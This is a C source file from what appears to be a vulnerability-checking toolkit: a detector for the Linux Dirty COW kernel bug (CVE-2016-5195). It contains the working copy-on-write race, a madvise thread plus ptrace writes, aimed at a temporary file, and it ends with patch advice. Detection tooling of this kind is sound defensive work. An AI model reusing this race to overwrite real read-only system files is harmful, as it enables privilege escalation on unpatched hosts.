cve-toolkit

CVE helper toolkit
git clone git://git.finwo.net/app/cve-toolkit
Log | Files | Refs | README | LICENSE

cve-2016-5195-pokedata.c (6235B)


      1 /*
      2  * CVE-2016-5195 — Dirty COW (PTRACE_POKEDATA variant)
      3  *
      4  * The kernel's get_user_pages() in a copy-on-write race allows an
      5  * unprivileged user to write to read-only memory mappings that are backed
      6  * by a file.  This detector uses the PTRACE_POKEDATA variant.
      7  *
      8  * Architecture (follows upstream pokemon.c):
      9  *   - Parent creates a temp file (100 bytes of known data) and a pipe.
     10  *   - Child maps the file MAP_PRIVATE|PROT_READ, starts a madvise-thrasher
     11  *     thread, then ptrace-traces-me and SIGSTOPs itself.
     12  *   - Parent reads the child's mmap address from the pipe, waits for the
     13  *     child to stop, then writes into the child's COW page via
     14  *     PTRACE_POKEDATA in a tight loop (matching upstream's 10K*10K retries).
     15  *   - Child checks whether the FILE'S page cache was corrupted by reading
     16  *     via pread (bypasses the COW mapping).
     17  *
     18  * Safe testing: creates a temporary file, attempts the COW page-cache
     19  * corruption, verifies the byte was overwritten in the cache, then
     20  * removes the temp file — leaving no system state modified.
     21  *
     22  * References:
     23  *   https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
     24  *   https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
     25  */
     26 #define _GNU_SOURCE
     27 #include <errno.h>
     28 #include <fcntl.h>
     29 #include <pthread.h>
     30 #include <signal.h>
     31 #include <stdint.h>
     32 #include <stdio.h>
     33 #include <stdlib.h>
     34 #include <string.h>
     35 #include <sys/mman.h>
     36 #include <sys/ptrace.h>
     37 #include <sys/stat.h>
     38 #include <sys/types.h>
     39 #include <sys/wait.h>
     40 #include <unistd.h>
     41 
     42 #include "setup.h"
     43 
     44 /* Region size matching upstream's madvise(map, 100, ...) */
     45 #define MAP_SIZE   100
     46 #define MAGIC_ORIG 'X'
     47 #define MAGIC_COW  'Y'
     48 #define MAX_POKES  10000
     49 
     50 static volatile int g_thr_running = 1;
     51 
     52 static void *madvise_thread(void *arg) {
     53   char *map = (char *)arg;
     54   while (g_thr_running) {
     55     madvise(map, MAP_SIZE, MADV_DONTNEED);
     56     __asm__ volatile("" ::: "memory");
     57     (void)*map; /* force page fault */
     58   }
     59   return NULL;
     60 }
     61 
     62 int detector_cve_2016_5195_pokedata(struct cve_context *ctx) {
     63   int fd     = -1;
     64   int result = 0;
     65   int pipefd[2];
     66 
     67   /* 1. Create temp file with known bytes */
     68   char path[] = "/tmp/.cve_2016_5195_pd_XXXXXX";
     69   fd          = mkstemp(path);
     70   if (fd < 0) {
     71     if (ctx && ctx->verbose) fprintf(stderr, "[dirtycow-pokedata] mkstemp: %s\n", strerror(errno));
     72     return 0;
     73   }
     74   unlink(path); /* fd keeps it alive */
     75 
     76   char buf[MAP_SIZE];
     77   memset(buf, MAGIC_ORIG, sizeof(buf));
     78   if (write(fd, buf, sizeof(buf)) != sizeof(buf)) {
     79     close(fd);
     80     return 0;
     81   }
     82   fsync(fd);
     83 
     84   /* 2. Pipe for child→parent address communication */
     85   if (pipe(pipefd) < 0) {
     86     close(fd);
     87     return 0;
     88   }
     89 
     90   /* 3. Fork */
     91   pid_t child = fork();
     92   if (child < 0) {
     93     close(fd);
     94     close(pipefd[0]);
     95     close(pipefd[1]);
     96     return 0;
     97   }
     98 
     99   if (child == 0) {
    100     /* ---- CHILD ---- */
    101     close(pipefd[0]);
    102 
    103     char *map = mmap(NULL, MAP_SIZE, PROT_READ, MAP_PRIVATE, fd, 0);
    104     if (map == MAP_FAILED) _exit(5);
    105 
    106     /* Verify original content */
    107     for (int i = 0; i < MAP_SIZE; i++)
    108       if (map[i] != MAGIC_ORIG) {
    109         munmap(map, MAP_SIZE);
    110         _exit(6);
    111       }
    112 
    113     /* Report mapping address to parent */
    114     uintptr_t addr = (uintptr_t)map;
    115     if (write(pipefd[1], &addr, sizeof(addr)) != (ssize_t)sizeof(addr)) _exit(7);
    116     close(pipefd[1]);
    117 
    118     /* Start madvise thrasher (runs until parent finishes poking) */
    119     pthread_t thr;
    120     g_thr_running = 1;
    121     if (pthread_create(&thr, NULL, madvise_thread, map) != 0) _exit(8);
    122 
    123     /*
    124      * Request tracing + SIGSTOP so parent can attach and write.
    125      * Matches upstream pokemon.c: PTRACE_TRACEME + SIGSTOP.
    126      */
    127     ptrace(PTRACE_TRACEME);
    128     kill(getpid(), SIGSTOP);
    129 
    130     /* After parent detaches, poll page cache via pread */
    131     int hit = 0;
    132     for (int i = 0; i < MAX_POKES && !hit; i++) {
    133       char c;
    134       if (pread(fd, &c, 1, 0) == 1 && c == MAGIC_COW)
    135         hit = 1;
    136       else
    137         usleep(1000);
    138     }
    139 
    140     g_thr_running = 0;
    141     pthread_join(thr, NULL);
    142     munmap(map, MAP_SIZE);
    143     close(fd);
    144     _exit(hit ? 0 : 3);
    145   }
    146 
    147   /* ---- PARENT ---- */
    148   close(pipefd[1]);
    149   close(fd); /* child has its own copy */
    150 
    151   /* Read child's mmap address */
    152   uintptr_t child_addr = 0;
    153   ssize_t   n          = read(pipefd[0], &child_addr, sizeof(child_addr));
    154   close(pipefd[0]);
    155   if (n != (ssize_t)sizeof(child_addr)) {
    156     kill(child, SIGKILL);
    157     waitpid(child, NULL, 0);
    158     return 0;
    159   }
    160 
    161   /* Wait for child's SIGSTOP (from PTRACE_TRACEME path) */
    162   int status;
    163   waitpid(child, &status, 0);
    164   if (!WIFSTOPPED(status)) {
    165     kill(child, SIGKILL);
    166     waitpid(child, NULL, 0);
    167     return 0;
    168   }
    169 
    170   /*
    171    * Poke the child's COW mapping in a tight loop.
    172    * Upstream pokemon.c does 10K * 10K = 100M iterations;
    173    * we use 10K which is enough to win the race on a
    174    * vulnerable kernel while keeping the detector fast.
    175    */
    176   for (int i = 0; i < MAX_POKES; i++) {
    177     long val    = ptrace(PTRACE_PEEKDATA, child, (void *)child_addr, NULL);
    178     long newval = (val & ~0xFFUL) | (unsigned char)MAGIC_COW;
    179     ptrace(PTRACE_POKEDATA, child, (void *)child_addr, (void *)newval);
    180   }
    181 
    182   /* Detach so child resumes */
    183   ptrace(PTRACE_DETACH, child, NULL, NULL);
    184 
    185   /* Wait for child to finish its pread poll */
    186   int cstatus;
    187   waitpid(child, &cstatus, 0);
    188 
    189   if (WIFEXITED(cstatus) && WEXITSTATUS(cstatus) == 0) {
    190     if (ctx && ctx->verbose)
    191       fprintf(stderr,
    192               "[dirtycow-pokedata] VULNERABLE: page cache "
    193               "corrupted via PTRACE_POKEDATA\n");
    194     result = 1;
    195   }
    196 
    197   return result;
    198 }
    199 
    200 __attribute__((constructor)) void detector_cve_2016_5195_pokedata_setup(void) {
    201   detector_queue_append("CVE-2016-5195/pokedata", "dirtycow",
    202                         "Update the Linux kernel to >= 4.8.3 / 4.7.9 / 4.4.26 or later.\n"
    203                         "  The fix is commit 19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619.\n"
    204                         "  As a temporary mitigation, ensure kernel.yama.ptrace_scope >= 1\n"
    205                         "  (blocks unprivileged ptrace of unrelated processes), though this\n"
    206                         "  does not fully mitigate all Dirty COW variants.",
    207                         detector_cve_2016_5195_pokedata);
    208 }